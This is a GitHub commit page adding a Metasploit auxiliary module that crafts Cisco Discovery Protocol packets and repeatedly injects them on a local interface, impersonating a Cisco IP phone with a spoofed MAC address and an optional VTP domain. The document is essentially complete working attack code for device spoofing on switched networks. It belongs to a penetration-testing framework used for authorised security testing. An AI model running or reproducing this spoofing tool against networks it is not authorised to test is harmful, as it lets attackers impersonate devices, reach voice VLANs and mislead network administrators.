Skip to content

Commit 31b366d

Browse files
committed
Land rapid7#4061, @fozavci's CDP testing module
2 parents e66c9be + 895bdd9 commit 31b366d

File tree

1 file changed

+141
-0
lines changed
  • modules/auxiliary/spoof/cisco

1 file changed

+141
-0
lines changed

modules/auxiliary/spoof/cisco/cdp.rb

Lines changed: 141 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,141 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
include Msf::Exploit::Capture
10+
11+
def initialize
12+
super(
13+
'Name' => 'Send Cisco Discovery Protocol (CDP) Packets',
14+
'Description' => 'This module sends Cisco Discovery Protocol (CDP) packets',
15+
'Author' => 'Fatih Ozavci <viproy.com/fozavci>',
16+
'License' => MSF_LICENSE,
17+
'Actions' => [
18+
['Spoof', { 'Description' => 'Sends CDP packets' }]
19+
],
20+
'DefaultAction' => 'Spoof'
21+
)
22+
23+
register_options(
24+
[
25+
OptString.new('SMAC', [false, "MAC Address for MAC Spoofing"]),
26+
OptString.new('VTPDOMAIN', [false, "VTP Domain"]),
27+
OptString.new('DEVICE_ID', [true, "Device ID (e.g. SIP00070EEA3156)", "SEP00070EEA3156"]),
28+
OptString.new('PORT', [true, "The CDP 'sent through interface' value", "Port 1"]),
29+
# XXX: this is not currently implemented
30+
# OptString.new('CAPABILITIES', [false, "Capabilities of the device (e.g. Router, Host, Switch)", "Router"]),
31+
OptString.new('PLATFORM', [true, "Platform of the device", "Cisco IP Phone 7975"]),
32+
OptString.new('SOFTWARE', [true, "Software of the device", "SCCP75.9-3-1SR2-1S"]),
33+
OptBool.new('FULL_DUPLEX', [true, 'True iff full-duplex, false otherwise', true])
34+
], self.class)
35+
36+
deregister_options('FILTER', 'PCAPFILE', 'RHOST', 'SNAPLEN', 'TIMEOUT')
37+
end
38+
39+
def setup
40+
check_pcaprub_loaded
41+
unless smac
42+
fail ArgumentError, "Unable to get SMAC from #{interface} -- Set INTERFACE or SMAC"
43+
end
44+
open_pcap
45+
close_pcap
46+
end
47+
48+
def interface
49+
@interface ||= datastore['INTERFACE'] || Pcap.lookupdev
50+
end
51+
52+
def smac
53+
@smac ||= datastore['SMAC'] || get_mac(interface)
54+
end
55+
56+
def run
57+
begin
58+
open_pcap
59+
60+
@run = true
61+
cdp_packet = build_cdp
62+
print_status("Sending CDP messages on #{interface}")
63+
while @run
64+
capture.inject(cdp_packet)
65+
Rex.sleep(60)
66+
end
67+
ensure
68+
close_pcap
69+
end
70+
end
71+
72+
def build_cdp
73+
cdp = ''
74+
# CDP version
75+
cdp << "\x02"
76+
# TTL (180s)
77+
cdp << "\xB4"
78+
# checksum, empty for now
79+
cdp << "\x00\x00"
80+
# device ID
81+
cdp << tlv(1, datastore['DEVICE_ID'])
82+
# port ID
83+
cdp << tlv(3, datastore['PORT'])
84+
# TODO: implement this correctly
85+
# capabilities = datastore['CAPABILITIES'] || "Host"
86+
# CAPABILITIES
87+
# define CDP_CAP_LEVEL1 0x40
88+
# define CDP_CAP_FORWARD_IGMP 0x20
89+
# define CDP_CAP_NETWORK_LAYER 0x10
90+
# define CDP_CAP_LEVEL2_SWITCH 0x08
91+
# define CDP_CAP_LEVEL2_SRB 0x04
92+
# define CDP_CAP_LEVEL2_TRBR 0x02
93+
# define CDP_CAP_LEVEL3_ROUTER 0x01
94+
cdp << tlv(4, "\x00\x00\x00\x41")
95+
# software version
96+
cdp << tlv(5, datastore['SOFTWARE'])
97+
# platform
98+
cdp << tlv(6, datastore['PLATFORM'])
99+
# VTP management domain
100+
cdp << tlv(9, datastore['VTPDOMAIN']) if datastore['VTPDOMAIN']
101+
# random 1000-7000 power consumption in mW
102+
cdp << tlv(0x10, [1000 + rand(6000)].pack('n'))
103+
# duplex
104+
cdp << tlv(0x0b, datastore['FULL_DUPLEX'] ? "\x01" : "\x00")
105+
# VLAn query. TODO: figure out this field, use tlv, make configurable
106+
cdp << "\x00\x0F\x00\b \x02\x00\x01"
107+
108+
# compute and replace the checksum
109+
cdp[2, 2] = [compute_cdp_checksum(cdp)].pack('n')
110+
111+
# Build and return the final packet, which is 802.3 + LLC + CDP.
112+
# 802.3
113+
PacketFu::EthHeader.mac2str("01:00:0C:CC:CC:CC") +
114+
PacketFu::EthHeader.mac2str(smac) +
115+
[cdp.length + 8].pack('n') +
116+
# LLC
117+
"\xAA\xAA\x03\x00\x00\x0c\x20\x00" +
118+
# CDP
119+
cdp
120+
end
121+
122+
def tlv(t, v)
123+
[ t, v.length + 4 ].pack("nn") + v
124+
end
125+
126+
def compute_cdp_checksum(cdp)
127+
num_shorts = cdp.length / 2
128+
checksum = 0
129+
remaining = cdp.length
130+
131+
cdp.unpack("S#{num_shorts}").each do |short|
132+
checksum += short
133+
remaining -= 2
134+
end
135+
136+
checksum += cdp[cdp.length - 1].getbyte(0) << 8 if remaining == 1
137+
checksum = (checksum >> 16) + (checksum & 0xffff)
138+
checksum = ~((checksum >> 16) + checksum) & 0xffff
139+
([checksum].pack("S*")).unpack("n*")[0]
140+
end
141+
end

0 commit comments

Comments
 (0)